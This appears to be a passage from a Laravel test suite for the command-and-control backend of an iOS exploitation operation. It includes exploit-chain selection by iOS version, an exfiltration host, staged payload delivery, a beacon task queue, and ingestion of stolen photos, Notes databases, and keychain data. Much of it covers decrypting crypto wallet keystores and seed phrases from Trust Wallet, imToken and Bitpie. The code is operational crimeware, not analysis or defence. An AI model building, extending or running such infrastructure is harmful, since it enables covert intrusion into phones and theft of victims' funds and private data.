encryptJson($payload, $ts); return $this->call('POST', $path, [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_X_TS' => $ts, ], $enc['body']); } #[Test] public function log_post_returns_accepted(): void { $this->postJson('/api/ds/log', ['text' => 'hello', 'source' => 'pe_mpd']) ->assertOk() ->assertExactJson(['status' => 'accepted']); $this->assertSame(0, DsChainLog::query()->count()); } #[Test] public function log_with_stage_skips_db(): void { $payload = [ 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', 'stage' => 'loader', 'progress' => 18, 'label' => 'loader', 'channelCode' => 'BODOZR5F613N9', ]; $this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']); $this->postJson('/api/ds/log', $payload)->assertOk(); $this->assertSame(0, DsChainLog::query()->count()); $this->assertSame(0, Device::query()->count()); } #[Test] public function log_text_skips_db_even_when_stage_can_be_inferred(): void { $this->postJson('/api/ds/log', [ 'text' => 'malloc ok 0x1234', 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', ])->assertOk(); $this->postJson('/api/ds/log', [ 'text' => 'pe_main_start', 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', ])->assertOk(); $this->assertSame(0, DsChainLog::query()->count()); $this->assertSame(0, Device::query()->count()); } #[Test] public function next_chain_does_not_steal_ds_api_or_logs(): void { $this->getJson('/api/ds/chain-targets?ios=18.6') ->assertOk() ->assertJson([ 'ok' => true, 'chain' => 'darksword', ]) ->assertJsonPath('exfil.prefer_https', false) ->assertJsonPath('band.usable_for_attempt', true); $this->withHeaders([ 'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu', 'X-Forwarded-Port' => '443', ])->getJson('/api/ds/chain-targets?ios=18.5') ->assertOk() ->assertJsonPath('exfil.host', 'ocq4rod6pq6warv.icu') ->assertJsonPath('exfil.tls', true) ->assertJsonPath('exfil.prefer_https', true) ->assertJsonPath('exfil.https_port', 443); $this->get('/api/ds/log?text=lab') ->assertOk() ->assertSee('ok', false); $this->getJson('/api/ds/chain-targets?ios=18.6.1') ->assertOk() ->assertJsonPath('chain', 'darksword'); $this->getJson('/api/ds/chain-targets?ios=18.6.2') ->assertOk() ->assertJsonPath('chain', 'darksword'); foreach (['18.4', '18.5.1', '18.6.3', '18.7', '17.3'] as $ios) { $this->getJson('/api/ds/chain-targets?ios='.$ios) ->assertOk() ->assertJsonPath('chain', 'coruna') ->assertJsonPath('recommended_worker', '') ->assertJsonPath('band.usable_for_attempt', false); } $this->getJson('/api/chain-targets?ios=18.6')->assertNotFound(); $this->get('/log.html?text=lab')->assertNotFound(); $this->getJson('/next-chain/api/chain-targets')->assertNotFound(); $this->getJson('/next-chain/api/device/register')->assertNotFound(); $this->get('/next-chain/log.html?text=lab')->assertNotFound(); } #[Test] public function pe_stage_get_writes_file_log_and_chain_row(): void { $this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') ->assertOk() ->assertHeader('Content-Type', 'application/javascript; charset=utf-8') ->assertSee('__peStage1', false); $this->assertSame(0, DsChainLog::query()->count()); Device::query()->create([ 'device_id' => '50624FE26CC4A0DF689EAEA117557C3E', 'album_storage' => true, ]); $this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') ->assertOk(); $row = DsChainLog::query()->first(); $this->assertNotNull($row); $this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid); $this->assertSame('pe', $row->stage); $this->assertSame(86, $row->progress); $this->assertSame('pe_stage:s1_launchd', $row->label); $this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') ->assertOk(); $this->assertSame(2, DsChainLog::query()->count()); $this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label); $this->assertSame(94, DsChainLog::query()->orderByDesc('id')->first()->progress); $this->get('/api/ds/pe-stage/s2_keychain') ->assertOk() ->assertSee('__peStage2', false); $this->assertSame(2, DsChainLog::query()->count()); } #[Test] public function plaintext_a_ingests_darksword_device(): void { $this->postJson('/a', [ 'lhu' => self::DS_LHU, 'machine' => 'iPhone15,2', 'ios_version' => '18.6', 'ip' => '192.168.31.77', 'source' => 'c2_agent', ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame('iPhone15,2', $device->device_model); $this->assertSame('18.6', $device->ios_version); $this->assertSame('192.168.31.77', $device->ip); $this->assertNull($device->channel_id); } #[Test] public function shared_path_with_x_ts_still_uses_xxbb_ack(): void { $this->xxbbPost('/a', [ 'c' => '202700cfb1ad3de68e11239dcc26c30b', 'd' => self::XXBB_D, 'f' => self::XXBB_D, 'deviceModel' => 'iPhone', 'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'], ])->assertOk()->assertSee('1786468227899{}', false); $xxbb = Device::query()->where('device_id', self::XXBB_D)->first(); $this->assertNotNull($xxbb); $this->assertSame(Device::CHAIN_CORUNA, $xxbb->chain); $this->postJson('/a', [ 'lhu' => self::DS_LHU, 'machine' => 'iPhone15,2', 'ios_version' => '18.6', ])->assertOk()->assertJson(['ok' => true]); $ds = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($ds); $this->assertSame(Device::CHAIN_DARKSWORD, $ds->chain); $this->assertSame(2, Device::query()->count()); } #[Test] public function register_accepts_query_style_channel_code(): void { $this->postJson('/api/ds/device/register', [ 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', 'channeICode' => '0.0.01', 'ios' => '18.6', 'chain' => 'darksword', ])->assertOk()->assertJson(['ok' => true]); $visit = PageVisit::query()->first(); $this->assertNotNull($visit); $this->assertSame('0.0.01', $visit->channel_id); } #[Test] public function register_uses_channel_code_not_ver_header(): void { $this->postJson('/api/ds/device/register', [ 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', 'channelCode' => 'BODOZR5F613N9', 'ios' => '18.6', 'chain' => 'darksword', ], [ 'ver' => '3.1.07', 'sdkv' => '3.1.07', ])->assertOk()->assertJson(['ok' => true]); $this->assertNull(Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first()); $visit = PageVisit::query()->first(); $this->assertNotNull($visit); $this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $visit->client_uid); $this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain); $this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain)); $this->assertSame('BODOZR5F613N9', $visit->channel_id); $this->assertSame('iOS', $visit->os); $this->assertSame('18.6', $visit->os_version); $this->postJson('/a', [ 'lhu' => '50624FE26CC4A0DF689EAEA117557C3E', 'machine' => 'iPhone15,2', 'ios_version' => '18.6', 'source' => 'c2_agent', ])->assertOk(); $device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first(); $this->assertNotNull($device); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame('BODOZR5F613N9', $device->channel_id); $this->assertSame('18.6', $device->ios_version); } #[Test] public function u_writes_device_apps_from_object_or_list(): void { $this->postJson('/u', [ 'lhu' => self::DS_LHU, 'apps' => [ '0' => ['bundleId' => 'im.token.app', 'name' => 'imToken'], '1' => ['bundleId' => 'com.apple.MobileSMS', 'name' => 'Messages'], ], 'count' => 2, 'source' => 'c2_agent', ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count()); $this->assertTrue( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->exists() ); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists() ); $this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet); $this->assertTrue($device->fresh()->albumStorageEnabled()); } #[Test] public function nb_writes_notes_and_stores_sqlite_blob(): void { Storage::fake('local'); $sqlite = "SQLite format 3\0lab-notes"; $this->postJson('/nb', [ 'lhu' => self::DS_LHU, 'list' => [['id' => 4, 'title' => 'jdmdm', 'snippet' => 'hello', 'mod' => 0]], 'db_files' => [[ 'name' => 'NoteStore.sqlite', 'data' => base64_encode($sqlite), ]], 'source' => 'c2_agent', ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $note = Note::query()->where('device_id', $device->id)->first(); $this->assertNotNull($note); $this->assertSame('jdmdm', $note->content[0]['title'] ?? null); Storage::disk('local')->assertExists('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite'); $this->assertSame($sqlite, Storage::disk('local')->get('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite')); } #[Test] public function war_without_mnemonic_stores_keystore_only(): void { $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'source' => 'pe_war_guarantee', 'keychain' => [ 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'accessGroup' => 'group.com.sixdays.team', 'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'), ]], ], ], 'errors' => ['aksUnwrap class=10 kr=3758097090'], ], 'sandbox' => [ 'imtoken' => ['keystore.json' => '{"version":3}'], ], ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count()); $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count()); $rows = WalletKeystore::query()->where('device_id', $device->id)->get(); $this->assertTrue($rows->every(fn ($row) => (int) $row->decrypted === 0)); $sources = $rows->pluck('source')->all(); $this->assertContains('Trust Wallet', $sources); $this->assertContains('imToken', $sources); } #[Test] public function war_twelve_word_phrase_ingests_mnemonic(): void { $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'keychain' => [ 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'accessGroup' => 'group.com.sixdays.team', 'dataHex' => bin2hex(self::TEST_MNEMONIC), ]], ], ], ], 'sandbox' => [], ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $row = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($row); $this->assertSame(self::TEST_MNEMONIC, $row->mnemonic); $this->assertSame('Trust Wallet', $row->source); } #[Test] public function war_trust_utc_ingests_btc_eth_trx_cap_two(): void { Http::fake(); $utc = [ 'crypto' => ['cipher' => 'aes-128-ctr'], 'activeAccounts' => [ ['address' => 'bc1qnt0t864aqfwxsltmhpytrck2z9aqgaf6vpu4xc', 'coin' => 0], ['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 60], ['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 137], ['address' => 'TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', 'coin' => 195], ['address' => 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x', 'coin' => 2], ['address' => 'bc1qsecondonlyforcapxxxxxxxxxxxxxxxxxxx', 'coin' => 0], ['address' => 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx', 'coin' => 0], ], ]; $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'sandbox' => [ 'trust_wallet' => [ 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), ], ], ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get(); $this->assertSame(4, $rows->count()); $this->assertSame(['BITCOIN', 'BITCOIN', 'ETHEREUM', 'TRON'], $rows->pluck('chain_type')->sort()->values()->all()); $this->assertTrue($rows->every(fn ($row) => $row->source === 'Trust Wallet')); $this->assertSame(2, $rows->where('chain_type', 'BITCOIN')->count()); $this->assertFalse($rows->contains('address', 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx')); $this->assertFalse($rows->contains('address', 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x')); } #[Test] public function war_class10_unwrap_failure_is_not_a_mnemonic(): void { $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'keychain' => [ 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'class' => 10, 'layer3Error' => 'aks_unwrap kr=3758097090', 'dataHex' => bin2hex(self::TEST_MNEMONIC), ]], ], ], ], ])->assertOk(); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count()); $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); $ks = WalletKeystore::query()->where('device_id', $device->id)->first(); $this->assertSame('Trust Wallet', $ks->source); $this->assertSame(0, (int) $ks->decrypted); } #[Test] public function war_trust_utc_decrypts_mnemonic_from_keychain_key(): void { $password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2'); $this->assertIsString($password); $utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [ 'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('ab', 32), ]); $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'keychain' => [ 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'account' => 'trustwalletUTC--demo', 'accessGroup' => 'group.com.sixdays.team', 'dataHex' => bin2hex($password), ]], ], ], ], 'sandbox' => [ 'trust_wallet' => [ 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), ], ], ])->assertOk(); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($mnemonic); $this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic); $this->assertSame('Trust Wallet', $mnemonic->source); $rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get(); $this->assertGreaterThanOrEqual(1, $rows->count()); $this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1)); } #[Test] public function reprocess_unlocks_trust_utc_already_stored_on_device(): void { Http::fake(); $password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2'); $this->assertIsString($password); $utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [ 'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('cd', 32), ]); $device = Device::query()->create([ 'device_id' => 'reprocess-trust-utc', 'chain' => Device::CHAIN_DARKSWORD, ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => [ 'kind' => 'keychain.wallets', 'wallets' => [ 'trustwallet' => [ 'items' => [[ 'account' => 'trustwalletUTC--demo', 'dataHex' => bin2hex($password), ]], ], ], ], ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => [ 'kind' => 'sandbox', 'sandbox' => [ 'trust_wallet' => [ 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), ], ], ], ]); app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores')); $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($mnemonic); $this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->get() ->contains(fn ($row) => (int) $row->decrypted === 1) ); } #[Test] public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void { Http::fake(); $entropy = '00000000000000000000000000000000'; $trx = app(\App\Services\Chain\TronDriver::class)->deriveAddress(self::TEST_MNEMONIC, 0); $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'keychain' => [ 'wallets' => [ 'bitpie' => [ 'count' => 2, 'items' => [ [ 'account' => 'seedPhraseEntropy', 'service' => 'com.bitpie.wallet', 'dataHex' => bin2hex(strtoupper($entropy)), ], [ 'account' => 'userAddressKey', 'service' => 'com.bitpie.wallet', 'dataHex' => bin2hex($trx), ], ], ], ], ], 'sandbox' => [ 'bitpie' => [ 'Library/Preferences/com.bitpie.wallet.plist' => base64_encode( 'kUserAddressesConfigure[{"address":"'.$trx.'","coin_code":"trx-trx"}]' ), ], ], ])->assertOk(); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Bitpie')->first(); $this->assertNotNull($mnemonic); $this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Bitpie')->get() ->contains(fn ($row) => (int) $row->decrypted === 1) ); $addr = WalletAddress::query() ->where('device_id', $device->id) ->where('address', $trx) ->where('source', 'Bitpie') ->first(); $this->assertNotNull($addr); $this->assertSame('TRON', $addr->chain_type); $this->assertSame($mnemonic->id, $addr->mnemonic_id); } #[Test] public function beacon_walks_default_queue_then_loops_scan_tasks(): void { $types = DsBeaconQueue::TYPES; $commandIds = []; foreach ($types as $type) { $resp = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', 'ios' => '18.6', ])->assertOk()->assertJson([ 'ok' => true, 'type' => $type, 'uuid' => self::DS_LHU, ]); $commandId = $resp->json('command_id'); $this->assertNotEmpty($commandId); $commandIds[] = $commandId; $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => $commandId, 'filename' => $type.'_result.json', 'category' => $type, 'status' => 'success', ])->assertOk(); } $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame(0, DeviceEvent::query()->count()); $this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count()); $this->assertSame( count($types), DsBeaconTask::query()->where('device_id', $device->id)->where('status', DsBeaconTask::STATUS_DONE)->count() ); $first = DsBeaconTask::query() ->where('device_id', $device->id) ->where('type', 'wallet_extract') ->first(); $this->assertNotNull($first); $this->assertSame(DsBeaconTask::STATUS_DONE, $first->status); $this->assertSame(1, $first->result_count); $this->assertSame('wallet_extract_result.json', $first->result_meta['filename'] ?? null); $loop = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson([ 'ok' => true, 'type' => 'wallet_extract', 'uuid' => self::DS_LHU, ]); $loopId = $loop->json('command_id'); $this->assertNotEmpty($loopId); $this->assertNotSame($commandIds[0], $loopId); $first->refresh(); $this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $first->status); $this->assertSame($loopId, $first->command_id); $this->assertSame(1, $first->result_count); $this->assertSame( 3, DsBeaconTask::query() ->where('device_id', $device->id) ->whereIn('type', ['wallet_scan', 'photo_scan', 'apps']) ->where('status', DsBeaconTask::STATUS_PENDING) ->count() ); $this->assertSame( 0, DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count() ); $admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->get(route('admin.devices.show', $device)) ->assertOk() ->assertSee('C2 队列') ->assertSee('wallet_extract') ->assertSee('wallet_scan') ->assertSee('photo_scan') ->assertDontSee('basic_info'); $this->assertNotContains('photos', $types); $this->assertNotContains('basic_info', $types); $this->assertContains('photo_scan', $types); } #[Test] public function beacon_redelivers_dispatched_task_until_result(): void { $first = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', 'ios' => '18.6', ])->assertOk()->assertJson(['type' => 'wallet_extract']); $firstId = $first->json('command_id'); $this->assertNotEmpty($firstId); $retry = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'wallet_extract']); $retryId = $retry->json('command_id'); $this->assertNotEmpty($retryId); $this->assertNotSame($firstId, $retryId); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $task = DsBeaconTask::query() ->where('device_id', $device->id) ->where('type', 'wallet_extract') ->first(); $this->assertNotNull($task); $this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $task->status); $this->assertSame($retryId, $task->command_id); $this->assertSame(2, (int) ($task->result_meta['dispatch_count'] ?? 0)); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => $retryId, 'filename' => 'wallet_extract_result.json', 'category' => 'wallet_extract', 'status' => 'success', ])->assertOk(); $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'wallet_scan']); } #[Test] public function beacon_skips_legacy_photos_task(): void { $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'photos', 'status' => DsBeaconTask::STATUS_PENDING, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 2, 'type' => 'photo_scan', 'status' => DsBeaconTask::STATUS_PENDING, ]); $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'photo_scan']); $this->assertSame( DsBeaconTask::STATUS_SKIPPED, DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status') ); } #[Test] public function result_stores_files_and_skips_video(): void { Storage::fake('local'); $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, 'album_storage' => true, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'photo_scan', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-photo-1', ]); $png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32)); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-photo-1', 'filename' => 'IMG_0003.PNG', 'category' => 'photos', 'data' => $png, ])->assertOk(); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-photo-1', 'filename' => 'IMG_0005.MP4', 'category' => 'photos', 'data' => base64_encode('ftypisom'), ])->assertOk(); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-photo-1', 'filename' => 'photo_scan.json', 'data' => base64_encode('{"status":"success","uploaded":1}'), ])->assertOk(); $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0003.PNG'); Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/photo_scan.json'); Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0005.MP4'); } #[Test] public function result_skips_duplicate_payloads_already_ingested(): void { Storage::fake('local'); $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, 'album_storage' => true, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'photo_scan', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-photo-dup-1', ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 2, 'type' => 'wallet_extract', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-wallet-dup-1', ]); $png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32)); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-photo-dup-1', 'filename' => 'IMG_0003.PNG', 'category' => 'photos', 'data' => $png, ])->assertOk(); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-wallet-dup-1', 'filename' => 'wallet_extract_result.json', 'category' => 'wallet_extract', 'data' => base64_encode('{"status":"success","wallets":1}'), ])->assertOk(); DsBeaconTask::query()->where('command_id', 'dsq-photo-dup-1')->update([ 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-photo-dup-2', ]); DsBeaconTask::query()->where('type', 'wallet_extract')->update([ 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-wallet-dup-2', ]); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-photo-dup-2', 'filename' => 'IMG_0003.PNG', 'category' => 'photos', 'data' => $png, ])->assertOk(); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-wallet-dup-2', 'filename' => 'wallet_extract_result.json', 'category' => 'wallet_extract', 'data' => base64_encode('{"status":"success","wallets":1}'), ])->assertOk(); $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-1/IMG_0003.PNG'); Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-2/IMG_0003.PNG'); Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-1/wallet_extract_result.json'); Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-2/wallet_extract_result.json'); } #[Test] public function result_assembles_chunks_before_store(): void { Storage::fake('local'); $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, 'album_storage' => true, ]); $task = DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'photo_scan', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-chunk-1', ]); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => $task->command_id, 'filename' => 'IMG_0002.PNG', 'category' => 'photos', 'chunk_index' => 0, 'total_chunks' => 2, 'data' => base64_encode("\x89PNG"), ])->assertOk(); $this->assertSame(0, Photo::query()->count()); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => $task->command_id, 'filename' => 'IMG_0002.PNG', 'category' => 'photos', 'chunk_index' => 1, 'total_chunks' => 2, 'data' => base64_encode("\r\n\x1a\n"), ])->assertOk(); $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG'); $this->assertSame( "\x89PNG\r\n\x1a\n", Storage::disk('local')->get('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG') ); } #[Test] public function event_heartbeats_without_device_events(): void { $this->postJson('/event', [ 'lhu' => self::DS_LHU, 'et' => 'injection_success', ])->assertOk()->assertJson(['ok' => true]); $this->assertSame(0, DeviceEvent::query()->count()); $this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first()); } }